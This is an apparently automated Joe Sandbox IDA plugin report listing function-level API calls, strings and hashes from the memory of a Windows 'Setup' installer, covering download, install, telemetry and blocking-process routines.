Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Item$Window$Message$Send$Text$H_prolog3ImageLoadLong$Parent$EnableFromMonitorPostRect_memset
String ID: IDS_PRINT$IDS_SAVE
API String ID: 2800768353-3437764585
Opcode ID: 6dc2c897266b1d92cc8f3b5566fbc211a4ddc1664ca521c58c66075dc68cb1c1
Instruction ID: f537e7801acf6f7cd7e8b12d2accc3563ac3a0b80111fc07e6884a767cf78711
Opcode Fuzzy Hash: 6dc2c897266b1d92cc8f3b5566fbc211a4ddc1664ca521c58c66075dc68cb1c1
Instruction Fuzzy Hash: 2D517F756083019FDB10EF64C884B1ABBE5FF8AB28F040959F5559B3A0DB71E864CF52

Function 63965A85 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 148COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 63965A8C
GetLastError.KERNEL32 ref: 63965AFF

Part of subcall function 6395F21D: _wcsnlen.LIBCMT ref: 6395F1B2

GetLastError.KERNEL32 ref: 63965B39
GetLastError.KERNEL32 ref: 63965BC8
PathStripPathW.SHLWAPI(?), ref: 63965BFB

Part of subcall function 639681DE: _memcpy_s.LIBCMT ref: 63968224

CloseHandle.KERNEL32(?), ref: 63965C85
GetLastError.KERNEL32 ref: 63965C8D

Strings

GetProcessImageFileName, xrefs: 63965BD1
psapi.dll, xrefs: 63965B62
EnumProcessModules failed with error %u, will try GetProcessImageFileName, xrefs: 63965B43
OpenProcess, xrefs: 63965C96
GetModuleBaseName, xrefs: 63965B08

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ErrorLast$Path$CloseH_prolog3_catchHandleStrip_memcpy_s_wcsnlen
String ID: EnumProcessModules failed with error %u, will try GetProcessImageFileName$GetModuleBaseName$GetProcessImageFileName$OpenProcess$psapi.dll
API String ID: 747609879-952504876
Opcode ID: 880df26b275f66edebfc859942c41b4c8e48ebc85d260a46430896acf34e8d1f
Instruction ID: c6a3cef8f2a62a7124aa279b78ae1ee7a98aaafa5f4505146a9f0cc2e7d01f3d
Opcode Fuzzy Hash: 880df26b275f66edebfc859942c41b4c8e48ebc85d260a46430896acf34e8d1f
Instruction Fuzzy Hash: E0519071A05209EFEB00EFB8C948A9E7BB9EF5AB18F044518F551DB292CB30D950CF61

Function 6395AAC2 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 6395AAF3
IsWindow.USER32(?), ref: 6395AB3B
GetDlgItem.USER32(FFFFFF96,00000068), ref: 6395ABA3
SetWindowTextW.USER32(00000000,?), ref: 6395ABAB
EnterCriticalSection.KERNEL32(?), ref: 6395ABC6
LeaveCriticalSection.KERNEL32(?), ref: 6395ABF2
EnterCriticalSection.KERNEL32(?), ref: 6395ABF5
LeaveCriticalSection.KERNEL32(6395A159,?), ref: 6395AC04
IsWindow.USER32(?), ref: 6395AC32

Strings

Launching Install operation. Download operation is completed., xrefs: 6395AB70
Download failed. No performer will be called., xrefs: 6395AB21

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: CriticalSectionWindow$EnterLeave$ItemShowText
String ID: Download failed. No performer will be called.$Launching Install operation. Download operation is completed.
API String ID: 1766897411-1922595129
Opcode ID: 9c43d64a82a3259c1c5de4964bb2f38c29b320450c367820accd74b2077b7f9b
Instruction ID: 5f2b72e8c8ce06d859998b515526767d0f3795f85990b1d6f2a0783d676e786f
Opcode Fuzzy Hash: 9c43d64a82a3259c1c5de4964bb2f38c29b320450c367820accd74b2077b7f9b
Instruction Fuzzy Hash: B85161751047049FDB12EF34C888A8A7BF5FF46B65F048558F8668B261C731E994CF90

Function 6396528B Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 125registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(63982FC8,00000000,?,00000000), ref: 639652B7
GetClassInfoExW.USER32 ref: 639652F1
GetClassInfoExW.USER32(?,?), ref: 63965306
LeaveCriticalSection.KERNEL32(63982FC8), ref: 6396530D
LoadCursorW.USER32(?,?), ref: 63965352
swprintf.LIBCMT ref: 6396537C
GetClassInfoExW.USER32(?,00000000,?), ref: 6396539F
RegisterClassExW.USER32(?), ref: 639653AF
LeaveCriticalSection.KERNEL32(63982FC8), ref: 639653DF

Strings

0, xrefs: 639652E9
ATL:%p, xrefs: 63965371

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Class$CriticalInfoSection$Leave$CursorEnterLoadRegisterswprintf
String ID: 0$ATL:%p
API String ID: 1053483253-2453800769
Opcode ID: e56359305fbde06bfc98a5ce812af0fd4a7a87926972701fef18e0fcca1c3e82
Instruction ID: aab54cadb8e5d1735c6b906fb4ad86148d26098a14cc10d2756d68995cf47564
Opcode Fuzzy Hash: e56359305fbde06bfc98a5ce812af0fd4a7a87926972701fef18e0fcca1c3e82
Instruction Fuzzy Hash: 07417676509301DFDB15EF64C88096A7BB8FF8AB90B00064AFD548B24AE770D841CFA1

Function 6395A6A1 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 121timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6395A214: __CxxThrowException@8.LIBCMT ref: 6395A228

GetDlgItem.USER32(?,00000066), ref: 6395A6E2
SetPropW.USER32(00000000,RotatingIconDisplayTHIS,?), ref: 6395A6F1
SetTimer.USER32(?,00000002,000003E8,Function_0001A051), ref: 6395A70B
GetDlgItem.USER32(?,0000006A), ref: 6395A721
SetPropW.USER32(00000000,RotatingIconDisplayTHIS,?), ref: 6395A730
GetDlgItem.USER32(?,00000067), ref: 6395A740
GetDlgItem.USER32(?,0000006B), ref: 6395A751

Strings

Launching Download operation. Install operation will follow after download is complete., xrefs: 6395A7D8
Item(s) availability state is "Error". Exiting setup., xrefs: 6395A7E2
RotatingIconDisplayTHIS, xrefs: 6395A6EB, 6395A72A
Launching Download and Install operations simultaneously., xrefs: 6395A7C2

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Item$Prop$Exception@8ThrowTimer
String ID: Item(s) availability state is "Error". Exiting setup.$Launching Download and Install operations simultaneously.$Launching Download operation. Install operation will follow after download is complete.$RotatingIconDisplayTHIS
API String ID: 3010864479-2919304341
Opcode ID: 1c497e1f2dd44f10cb499c64d6e08fafa169ecfb36b4ebef69f6515e02ef3ebe
Instruction ID: 15a0a1c6e3c2889794d101596a349ce0e78925094293dff654c9176e93176fdd
Opcode Fuzzy Hash: 1c497e1f2dd44f10cb499c64d6e08fafa169ecfb36b4ebef69f6515e02ef3ebe
Instruction Fuzzy Hash: 4F416634700602AFDB05EF74C888A85B7B9FF5A715F004158F5669B2A1CB31E860CFA5

Function 6C5DBB55 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000030,?,00000000), ref: 6C5DBB79
GetCurrentProcess.KERNEL32(?,00100000,00000000,00000000,?,00000000), ref: 6C5DBB9A
GetCurrentProcess.KERNEL32(?,00000000,?,00000000), ref: 6C5DBBA0
DuplicateHandle.KERNEL32(00000000,?,00000000), ref: 6C5DBBA3
LeaveCriticalSection.KERNEL32(00000030,?,00000000), ref: 6C5DBBBC
GetLastError.KERNEL32(?,00000000), ref: 6C5E00A1
SetEvent.KERNEL32(?,Upload Completion,00000001,?,00000000,?,?,00000000), ref: 6C5E0100
CloseHandle.KERNEL32(?,00000000), ref: 6C5E012A

Strings

Upload Thread Exit, xrefs: 6C5E010B
Upload Completion, xrefs: 6C5DBBE5

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseDuplicateEnterErrorEventLastLeave
String ID: Upload Completion$Upload Thread Exit
API String ID: 3688531783-3056875662
Opcode ID: 85de644ef219720c72739e662c1a8ca21db072dca2913e80de6f45ff268c9819
Instruction ID: afa10ec658e43d88854457157a9cfbf8fc01f0dafd473ec4b69afa2283cc49c9
Opcode Fuzzy Hash: 85de644ef219720c72739e662c1a8ca21db072dca2913e80de6f45ff268c9819
Instruction Fuzzy Hash: 9341D231901348EFDF10EF99CD84E9EBBB9BB89309F52446AE411D6951C775E980DF04

Function 6C5D56B0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 157fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(00000000,WER,00000000,?,00000000,00000000,?), ref: 6C5D5756
DeleteFileW.KERNEL32(?), ref: 6C5D5774
CreateFileW.KERNEL32(?,C0000000,?,00000104,00000002,?,00000000), ref: 6C5D57B6
GetLongPathNameW.KERNEL32(?,?,00000000), ref: 6C5D57D7
CloseHandle.KERNEL32(00000000), ref: 6C5D57F9

Part of subcall function 6C5D583D: GetTempPathW.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C5D5875
Part of subcall function 6C5D583D: GetLongPathNameW.KERNEL32(00000000,?,00000104), ref: 6C5D58A7

Strings

2, xrefs: 6C5E2D88
WER, xrefs: 6C5D5750

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: FileNamePath$LongTemp$CloseCreateDeleteHandle
String ID: 2$WER
API String ID: 1638618745-1393268543
Opcode ID: 70cd92c53ca89e20db4adff2011d14f4218b1a25c87967e01940ce866dcc360d
Instruction ID: d8cf36955d645abda3566b7ddda3ed7610a6be5909960395a80d2d51e83e73d1
Opcode Fuzzy Hash: 70cd92c53ca89e20db4adff2011d14f4218b1a25c87967e01940ce866dcc360d
Instruction Fuzzy Hash: C051BFB1A01319DBDF108F68CC44FD977B4EB48318FA241A5E629E7591D730EAC58F68

Function 6C5E6327 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 122COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5E634C
GetLastError.KERNEL32 ref: 6C5E63D4
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD),00000001,?,00000000), ref: 6C5E63FA
GetLastError.KERNEL32(D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD),00000001,?,00000000), ref: 6C5E6406

Part of subcall function 6C5E5F11: EtwTraceMessage.NTDLL ref: 6C5E5F26

Part of subcall function 6C5E7DFE: RegCloseKey.ADVAPI32(00000001,?,?,?,6C5E6448,80000002,Software\Microsoft\SQMClient,0000000C,MachineId,?,D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD),00000001,?,00000000), ref: 6C5E7F28

LocalFree.KERNEL32(00000000,MachineId,?,D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD),00000001,?,00000000), ref: 6C5E6486
SetLastError.KERNEL32(0000054F,MachineId,?,D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD),00000001,?,00000000), ref: 6C5E648F

Strings

D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD), xrefs: 6C5E63F5
W, xrefs: 6C5E6390
Software\Microsoft\SQMClient, xrefs: 6C5E6439
MachineId, xrefs: 6C5E6430

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ErrorLast$DescriptorSecurity$CloseConvertFreeLocalMessageStringTracememset
String ID: D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD)$MachineId$Software\Microsoft\SQMClient$W
API String ID: 2649899325-766622882
Opcode ID: e7e296a3a4675f0c835f550e71779207a3a29053b0f4b5dc83944df730e91a5c
Instruction ID: 093d06db5dbb743656d35eec4700df9939e3aeab292ad8eaef0a9811247b6e55
Opcode Fuzzy Hash: e7e296a3a4675f0c835f550e71779207a3a29053b0f4b5dc83944df730e91a5c
Instruction Fuzzy Hash: C7415B71A00388AFDB40DFD4CCC4F9E7BF9AB48388F550429E615EB951D771A9888F15

Function 639609E0 Relevance: 16.9, APIs: 11, Instructions: 430windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 639609E7
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 63960A02

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

MapDialogRect.USER32(?,00000000), ref: 63960AEE
ShowWindow.USER32(00000000,00000001,00000000,?,?,?,40000000,?,?,00000000), ref: 63960B68
SendMessageW.USER32(00000000,00000030,?,00000001), ref: 63960B78

Part of subcall function 6394F589: SendMessageW.USER32(?,00000031,00000000,00000000), ref: 6394F5AC
Part of subcall function 6394F589: GetObjectW.GDI32(00000000,0000005C,?), ref: 6394F5B5
Part of subcall function 6394F589: CreateFontIndirectW.GDI32(?), ref: 6394F600
Part of subcall function 6394F589: SendMessageW.USER32(?,00000030,00000000,00000001), ref: 6394F610

LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000010), ref: 63960C2A
SendMessageW.USER32(00000000,00000170,?,00000000), ref: 63960C70
LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00000010), ref: 63960CA3

Part of subcall function 6395F933: SendMessageW.USER32(?,00000172,00000000,?), ref: 6395F944

MapDialogRect.USER32(?,00000000), ref: 63960DAB
SendMessageW.USER32(?,00000030,?,00000001), ref: 63960E0A
ShowWindow.USER32(?,00000001,?,00000000,?,?,?,?,?,?,?,?,?,6397677E,000000FF), ref: 63960E15

Part of subcall function 6395F8DE: CreateWindowExW.USER32(00000000,STATIC,?,?,?,?,?,?,?,?,00000000,?), ref: 6395F91E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: MessageSend$Window$CreateDialogImageLoadRectShow$FontH_prolog3H_prolog3_IndirectObject
String ID:
API String ID: 2777900791-0
Opcode ID: 82100d28dd2233a3da15e04b0a21cbd686e08abde2d58f3cd337cb70a212bf69
Instruction ID: 5d0d94713792e4db6a63c80f0bbcb3c8856859f9b6476cefb3944ac3048e9fa5
Opcode Fuzzy Hash: 82100d28dd2233a3da15e04b0a21cbd686e08abde2d58f3cd337cb70a212bf69
Instruction Fuzzy Hash: 4E02F375A00208AFDB04DFA8C998A9DBBF6FF8E711B148059F506AB361DB35E941CF50

Function 63958A1A Relevance: 16.7, APIs: 11, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63958A21
GetTickCount.KERNEL32 ref: 63958A38

Part of subcall function 63958C2A: __EH_prolog3.LIBCMT ref: 63958C31

GetTickCount.KERNEL32 ref: 63958A52
SetWindowTextW.USER32(?,?), ref: 63958A99
GetDlgItem.USER32(?,0000006F), ref: 63958AC3
GetDlgItem.USER32(?,00000070), ref: 63958AE5

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: CountH_prolog3ItemTick$TextWindow
String ID:
API String ID: 3171788341-0
Opcode ID: 15319ebdb278448bc955440ca8ae8efcc1baf19b7cdccceb389cac389f341670
Instruction ID: 96708500d3b4583d6219b1ac76d0d534f1c8e1cdc8b4dea8013d92f12d735a86
Opcode Fuzzy Hash: 15319ebdb278448bc955440ca8ae8efcc1baf19b7cdccceb389cac389f341670
Instruction Fuzzy Hash: 9B61F275A006069FDB04EFB4C998AAEBBB5BF09704F100968F156EB3A1DB34E914CF51

Function 6C5D4611 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 215COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D46A1
InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000FA0), ref: 6C5D46B4
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 6C5D46CD
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 6C5D46DF

Part of subcall function 6C5D3E29: RegOpenKeyExW.ADVAPI32(?,?,00000000,-00020018,00000000,80000002,CEIPEnable,00000002), ref: 6C5D3E94
Part of subcall function 6C5D3E29: RegQueryValueExW.ADVAPI32(00000000,00000002,00000000,?,?,00000004), ref: 6C5D3EB0
Part of subcall function 6C5D3E29: RegCloseKey.ADVAPI32(00000000), ref: 6C5D3ECE

GetLastError.KERNEL32 ref: 6C5E0A56
GetLastError.KERNEL32 ref: 6C5E0A93
GetLastError.KERNEL32 ref: 6C5E0ABD

Strings

SamplingInterval, xrefs: 6C5D46F3
Software\Microsoft\SQMClient, xrefs: 6C5D46F8

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ErrorLast$CreateEvent$CloseCountCriticalInitializeOpenQuerySectionSpinValuememset
String ID: SamplingInterval$Software\Microsoft\SQMClient
API String ID: 171072326-987520630
Opcode ID: 0e7466a666d84dba2b981db935d0d4e1a97ab7f1ea00846361ecae78fe14d5e6
Instruction ID: 8f78fb78cb8142cffc525c9f5ba55e99de4c768d289f2909a2b18f5f639dcea2
Opcode Fuzzy Hash: 0e7466a666d84dba2b981db935d0d4e1a97ab7f1ea00846361ecae78fe14d5e6
Instruction Fuzzy Hash: 3F817F70600394AFD724CF198C84FAABBF9FB85748F15085EE165D6AA0C7B0E945CF18

Function 63957389 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 162COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63957390

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6394C9BB: __EH_prolog3.LIBCMT ref: 6394C9C2

Part of subcall function 6394D1B4: __EH_prolog3.LIBCMT ref: 6394D1BB

__CxxThrowException@8.LIBCMT ref: 63957420

Part of subcall function 6396DBDB: RaiseException.KERNEL32(?,?,63969236,?,?,?,?,?,63969236,?,63977F54,639822B4), ref: 6396DC1D

Part of subcall function 6395EB56: __wcsicoll.LIBCMT ref: 6395EB74

__aulldiv.LIBCMT ref: 639574F1
__aulldiv.LIBCMT ref: 639574FD

Strings

%I64u, xrefs: 6395748A
$$DownloadSizeEstimate$$, xrefs: 63957436
$$DownloadTimeOverDialup$$, xrefs: 63957523
Setup engine failed to initialize. engineDataProvider.InitializeItems() returned false, xrefs: 639573B2
$$DownloadTimeOverBroadband$$, xrefs: 639574B8

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$__aulldiv$ExceptionException@8RaiseThrow__wcsicoll
String ID: $$DownloadSizeEstimate$$$$$DownloadTimeOverBroadband$$$$$DownloadTimeOverDialup$$$%I64u$Setup engine failed to initialize. engineDataProvider.InitializeItems() returned false
API String ID: 1088788417-581573194
Opcode ID: 4cde9425fcee9369d914659f09bfffa738b95ffd58549d3c33d12b892259bacc
Instruction ID: c151015feb703caa7321a6d626bb103550c022ea287db8f9c11518cb702a6bcc
Opcode Fuzzy Hash: 4cde9425fcee9369d914659f09bfffa738b95ffd58549d3c33d12b892259bacc
Instruction Fuzzy Hash: F151D571D003089FEB10CFA4C844BAEB7F9AF51B68F148555F555AB282DB30DB508FA1

Function 6394C78F Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 139COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 6394C7FD
__time64.LIBCMT ref: 6394C8B6

Part of subcall function 6394C280: __EH_prolog3.LIBCMT ref: 6394C287
Part of subcall function 6394C280: OutputDebugStringW.KERNEL32(?,?,?,00000008,6394C856), ref: 6394C2A8

SysFreeString.OLEAUT32(?), ref: 6394C894

Strings

Final Result: Installation aborted, xrefs: 6394C827, 6394C835
Final Result: Installation completed successfully with success code: (0x%08lX), xrefs: 6394C80C
Final Result: Installation completed successfully with success code: (0x%08lX), "%s", xrefs: 6394C818
Final Result: Installation failed with error code: (0x%08lX), xrefs: 6394C869
Final Result: Installation failed with error code: (0x%08lX), "%s", xrefs: 6394C87E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: String$DebugFreeH_prolog3Output__time64
String ID: Final Result: Installation aborted$Final Result: Installation completed successfully with success code: (0x%08lX)$Final Result: Installation completed successfully with success code: (0x%08lX), "%s"$Final Result: Installation failed with error code: (0x%08lX)$Final Result: Installation failed with error code: (0x%08lX), "%s"
API String ID: 1943088043-1330816492
Opcode ID: c831666d2c174528583442e0a8d2a69aa3d665bfa024bab4d9c6dc7cc99b4780
Instruction ID: 415f304823732d3f0954e24279b8041b5bc586aa033bbb78eae45d61cff0c010
Opcode Fuzzy Hash: c831666d2c174528583442e0a8d2a69aa3d665bfa024bab4d9c6dc7cc99b4780
Instruction Fuzzy Hash: 2151617150C341AFD310DF78D984A4BBBE9EF96B28F040A1DF49197292D731D9188FA2

Function 6395795B Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 115COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63957962

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

EnumWindows.USER32(63957C3F,?), ref: 639579BF

Part of subcall function 63957BC5: _calloc.LIBCMT ref: 63957BE6

Part of subcall function 63957AC7: __EH_prolog3.LIBCMT ref: 63957ACE

RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 63957ABB

Strings

Enumerating incompatible processes, xrefs: 6395798E
complete, xrefs: 6395796B
Blocking Processes, xrefs: 63957A2A
Action, xrefs: 6395797D, 6395799B
No Blocking Processes, xrefs: 639579EE
[ProcessID] [ImageName] [WindowTitle] [WindowVisible], xrefs: 63957A49

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$EnumExceptionRaiseWindows_calloc
String ID: complete$Action$Blocking Processes$Enumerating incompatible processes$No Blocking Processes$[ProcessID] [ImageName] [WindowTitle] [WindowVisible]
